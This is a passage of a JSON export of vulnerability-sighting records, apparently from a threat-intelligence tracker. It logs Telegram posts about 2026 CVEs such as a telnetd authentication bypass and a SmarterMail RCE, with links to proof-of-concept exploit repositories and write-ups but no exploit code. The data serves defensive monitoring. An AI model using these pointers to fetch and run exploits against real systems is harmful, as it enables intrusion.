"2026-08-31T00:00:12.113330Z"}, {"uuid": "fad89da9-a787-4f40-978f-532fd1f07ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://t.me/CyberDispatch/597", "content": "A single spreadsheet formula can now lead to full server takeover in Grist-Core.\n\nThe flaw, CVE-2026-24002 (CVSS 9.1), breaks out of the Pyodide sandbox, letting attackers run OS commands and access files and secrets.", "creation_timestamp": "2026-08-31T00:00:11.548080Z"}, {"uuid": "5a67dc23-695f-412a-8adc-2ed0803c8182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-31T00:00:24.348866Z"}, {"uuid": "e44d90ce-cd14-4db4-8e81-75d2dfc58d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/_nTggpaFmwgDqHc5g2Jh3CLK-tIgxHJlvnAJts3-LocfUMs", "content": "", "creation_timestamp": "2026-08-31T00:00:49.029040Z"}, {"uuid": "b22602e8-2f18-46c0-ba4c-68d8a9dd0aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/15", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-2413", "creation_timestamp": "2026-09-01T13:00:05.798322Z"}, {"uuid": "7145f779-e4bb-47bb-aad4-40b8ef16273b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/16", "content": "https://github.com/p3Nt3st3r-sTAr/CVE-2026-2413-POC", "creation_timestamp": "2026-09-01T13:00:05.829499Z"}, {"uuid": "51a329bb-054e-4e74-88b6-4ad1e26dbee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/C10_CVE/18", "content": "Wordpress_CVE-2026-2413\n\nExploit", "creation_timestamp": "2026-09-01T14:00:05.198993Z"}, {"uuid": "d196cff8-d919-4130-bedb-77ff802df7cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "seen", "source": "https://t.me/hacking_Attack/178783", "content": "From Patch to Pwn: Reverse Engineering CVE-2026\u201324127 in A Night\u201d\nhttps://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:13.754035Z"}, {"uuid": "75f7fd9f-5340-45b8-8bcf-34eda25fb0d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "seen", "source": "Telegram/rbMJhHEaruCGGbRvvS1DvJy5Ecxxe7sLqxulp2v7sITG5rY", "content": "", "creation_timestamp": "2026-09-02T01:00:05.399306Z"}, {"uuid": "9f225318-1391-43d8-bfc9-21607f0356f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24884", "type": "seen", "source": "https://t.me/hacking_Attack/186477", "content": "Uncovering the Blind Spot: Bypassing a Security Patch (CVE-2026\u201324884) to Achieve Arbitrary File\u2026\nhttps://infosecwriteups.com/uncovering-the-blind-spot-bypassing-a-security-patch-cve-2026-24884-to-achieve-arbitrary-file-bc385eaa73fa?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:08.224151Z"}, {"uuid": "5dc6b9de-9dd5-417c-ab62-d9d86e8c37c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24884", "type": "seen", "source": "https://t.me/hacking_Attack/186479", "content": "Bug hunting is rarely about running an automated scanner and waiting for a critical alert. More often than not, it\u2019s about staring at a\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/uncovering-the-blind-spot-bypassing-a-security-patch-cve-2026-24884-to-achieve-arbitrary-file-bc385eaa73fa?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:08.266662Z"}, {"uuid": "a513be8d-b9b5-4c46-bae8-b10022922763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/hacking_Attack/179407", "content": "How CVE-2026\u201324061 Grants Instant Root via Telnet\nhttps://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:13.602354Z"}, {"uuid": "e000211a-1981-4b77-8dc1-de4d81fa7a59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/hacking_Attack/179409", "content": "A deep dive into the 9.8 CVSS authentication bypass in GNU Inetutils that\u2019s currently being exploited in the wild.Continue reading on Medium \u00bb (https://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:13.638032Z"}, {"uuid": "dffec22b-34cf-4792-b76e-9681f54c1b66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "seen", "source": "https://t.me/hacking_Attack/178785", "content": "My personal journey from boredom to discovering attack patterns through patch analysis of CVE-2026\u201324127Continue reading on Medium \u00bb (https://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:13.502371Z"}, {"uuid": "c0faaa0c-d9e3-4213-959b-c9eed18afd6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/hacking_Attack/178495", "content": "Exploit Lab: CVE-2026\u201324061 (telnetd)\nhttps://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5\n\nCVE-2026\u201324061 is a critical authentication bypass vulnerability in the GNU telnetd service that allows remote attackers to gain root\u2026Continue reading on Medium \u00bb (https://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:13.896176Z"}, {"uuid": "2e4d4be6-d65b-4164-bc17-db87434495f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24884", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/186479", "content": "Bug hunting is rarely about running an automated scanner and waiting for a critical alert. More often than not, it\u2019s about staring at a\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/uncovering-the-blind-spot-bypassing-a-security-patch-cve-2026-24884-to-achieve-arbitrary-file-bc385eaa73fa?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:20.334460Z"}, {"uuid": "94512508-73fe-4202-9d55-2c6c54eb4a1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24884", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/186477", "content": "Uncovering the Blind Spot: Bypassing a Security Patch (CVE-2026\u201324884) to Achieve Arbitrary File\u2026\nhttps://infosecwriteups.com/uncovering-the-blind-spot-bypassing-a-security-patch-cve-2026-24884-to-achieve-arbitrary-file-bc385eaa73fa?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:20.392479Z"}, {"uuid": "e36baf40-5b89-4849-b3d2-a07508f7b4c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "seen", "source": "https://t.me/hacking_Attack/178785", "content": "My personal journey from boredom to discovering attack patterns through patch analysis of CVE-2026\u201324127Continue reading on Medium \u00bb (https://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:31.370293Z"}, {"uuid": "76140e4f-c319-4339-a244-2b367754f8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "seen", "source": "https://t.me/hacking_Attack/178783", "content": "From Patch to Pwn: Reverse Engineering CVE-2026\u201324127 in A Night\u201d\nhttps://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:31.863480Z"}, {"uuid": "a8020d20-3839-49d1-9c10-7b43020cdbf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/hacking_Attack/178495", "content": "Exploit Lab: CVE-2026\u201324061 (telnetd)\nhttps://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5\n\nCVE-2026\u201324061 is a critical authentication bypass vulnerability in the GNU telnetd service that allows remote attackers to gain root\u2026Continue reading on Medium \u00bb (https://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:31.995100Z"}, {"uuid": "5530bc37-fbe2-49e7-80fe-cb6a36ec45c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/hacking_Attack/179407", "content": "How CVE-2026\u201324061 Grants Instant Root via Telnet\nhttps://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:31.481079Z"}, {"uuid": "a3a53734-e604-4a47-a783-8c3faa5cb77a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/hacking_Attack/179409", "content": "A deep dive into the 9.8 CVSS authentication bypass in GNU Inetutils that\u2019s currently being exploited in the wild.Continue reading on Medium \u00bb (https://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:31.717645Z"}, {"uuid": "1bd45d4d-5f27-4b1a-89f9-25ca674e7938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/C10_CVE/18", "content": "Wordpress_CVE-2026-2413\n\nExploit", "creation_timestamp": "2026-09-02T01:05:06.125101Z"}, {"uuid": "85c81d70-0756-42e8-aea4-403f76170a52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "published-proof-of-concept", "source": "https://t.me/p3Nt3st3rsTAr/16", "content": "https://github.com/p3Nt3st3r-sTAr/CVE-2026-2413-POC", "creation_timestamp": "2026-09-02T01:05:06.669486Z"}, {"uuid": "272959af-5114-4171-875a-7a619ce279ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/15", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-2413", "creation_timestamp": "2026-09-02T01:05:06.720920Z"}, {"uuid": "645685fe-1c4f-42fe-8808-997d14ca8ae7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100724", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-Telnetd\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Ish3ng0m4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 22:44:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-02T03:00:06.918501Z"}, {"uuid": "1cdfa5ed-5aca-4ffe-a718-818e783a93b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-02T06:00:16.012262Z"}, {"uuid": "a7dd89bc-f211-4bb5-a01b-285e19191200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/Ksw_2WSufg_ZzZKAWc_QpJTvjLIU1b4CHsBIzgYQ-ZNPfik", "content": "", "creation_timestamp": "2026-09-02T14:00:04.884386Z"}, {"uuid": "ad91f60a-d591-4ac0-9081-0b2e8ba8b252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://t.me/GithubRedTeam/100792", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a SmarterMail-CVE-2026-24423-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CyberAlp0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-02 12:48:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for CVE-2026-24423 \u2014 a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-02T15:00:05.900271Z"}, {"uuid": "50697781-bd62-4a24-8eca-b347c8391da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/GvfR5TiIz5AGTLxNK0NHF1rEL-rqaKshudCOKUMqTVI5bvk", "content": "", "creation_timestamp": "2026-09-02T16:00:04.365902Z"}, {"uuid": "c6856a27-6011-48ec-8eed-55a16c6ec489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/GvfR5TiIz5AGTLxNK0NHF1rEL-rqaKshudCOKUMqTVI5bvk", "content": "", "creation_timestamp": "2026-09-03T00:00:42.325351Z"}, {"uuid": "e48da9cb-a816-4c4f-afaa-7f486b176b03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100792", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a SmarterMail-CVE-2026-24423-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CyberAlp0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-02 12:48:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for CVE-2026-24423 \u2014 a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-03T00:00:43.549329Z"}, {"uuid": "f0ae9439-8a51-4cd1-9315-be42fa4cc030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/Ksw_2WSufg_ZzZKAWc_QpJTvjLIU1b4CHsBIzgYQ-ZNPfik", "content": "", "creation_timestamp": "2026-09-03T00:00:46.233589Z"}, {"uuid": "979b897c-daad-407a-b66b-63d91e3a21e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-03T00:00:46.968703Z"}, {"uuid": "78723b32-d532-48fd-8a68-35f5f89cdbe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100724", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-Telnetd\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Ish3ng0m4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 22:44:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-03T00:00:58.059133Z"}, {"uuid": "551dfdac-22b6-4d2c-8e4e-19c9d6d273ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "published-proof-of-concept", "source": "Telegram/rbMJhHEaruCGGbRvvS1DvJy5Ecxxe7sLqxulp2v7sITG5rY", "content": "", "creation_timestamp": "2026-09-03T00:00:59.603233Z"}, {"uuid": "5026b70f-03fb-4d39-bdd8-203a3d2228e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178783", "content": "From Patch to Pwn: Reverse Engineering CVE-2026\u201324127 in A Night\u201d\nhttps://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T01:00:04.041144Z"}, {"uuid": "10cc6ff9-7378-4878-91aa-148e9f78616c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/hacking_Attack/179409", "content": "A deep dive into the 9.8 CVSS authentication bypass in GNU Inetutils that\u2019s currently being exploited in the wild.Continue reading on Medium \u00bb (https://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T01:00:04.192591Z"}, {"uuid": "1fe11fcb-7142-49b9-bb91-ad7fa484d481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/179407", "content": "How CVE-2026\u201324061 Grants Instant Root via Telnet\nhttps://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T01:00:04.245645Z"}, {"uuid": "58e30998-e529-4b44-88bb-9cd366d86f16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178785", "content": "My personal journey from boredom to discovering attack patterns through patch analysis of CVE-2026\u201324127Continue reading on Medium \u00bb (https://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T01:00:04.355414Z"}, {"uuid": "12355706-e616-44e8-8db1-b8e0f9f655fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178495", "content": "Exploit Lab: CVE-2026\u201324061 (telnetd)\nhttps://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5\n\nCVE-2026\u201324061 is a critical authentication bypass vulnerability in the GNU telnetd service that allows remote attackers to gain root\u2026Continue reading on Medium \u00bb (https://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T02:00:05.314284Z"}, {"uuid": "3bab45c4-a121-4da9-910d-f2345cba6f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "Telegram/PrO6w3QLOr3jUo9xBtS3NN22LRqKedjWuLvWfaGQXc76APg", "content": "", "creation_timestamp": "2026-09-03T03:00:05.811760Z"}, {"uuid": "a0fe2cc8-39af-4a1e-9a9b-961cd35a79b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "published-proof-of-concept", "source": "Telegram/PrO6w3QLOr3jUo9xBtS3NN22LRqKedjWuLvWfaGQXc76APg", "content": "", "creation_timestamp": "2026-09-04T00:01:01.474035Z"}, {"uuid": "c1a9da80-8547-49d2-bd47-bbabe2006694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178495", "content": "Exploit Lab: CVE-2026\u201324061 (telnetd)\nhttps://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5\n\nCVE-2026\u201324061 is a critical authentication bypass vulnerability in the GNU telnetd service that allows remote attackers to gain root\u2026Continue reading on Medium \u00bb (https://medium.com/@josh.beck2006/exploit-lab-cve-2026-24061-telnetd-772306d3b0ba?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:01:06.352941Z"}, {"uuid": "2946774a-7df2-46a4-a736-ae6e534af9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178783", "content": "From Patch to Pwn: Reverse Engineering CVE-2026\u201324127 in A Night\u201d\nhttps://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:01:06.513175Z"}, {"uuid": "112f6b70-3585-448c-9d5e-213ab3d3abdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 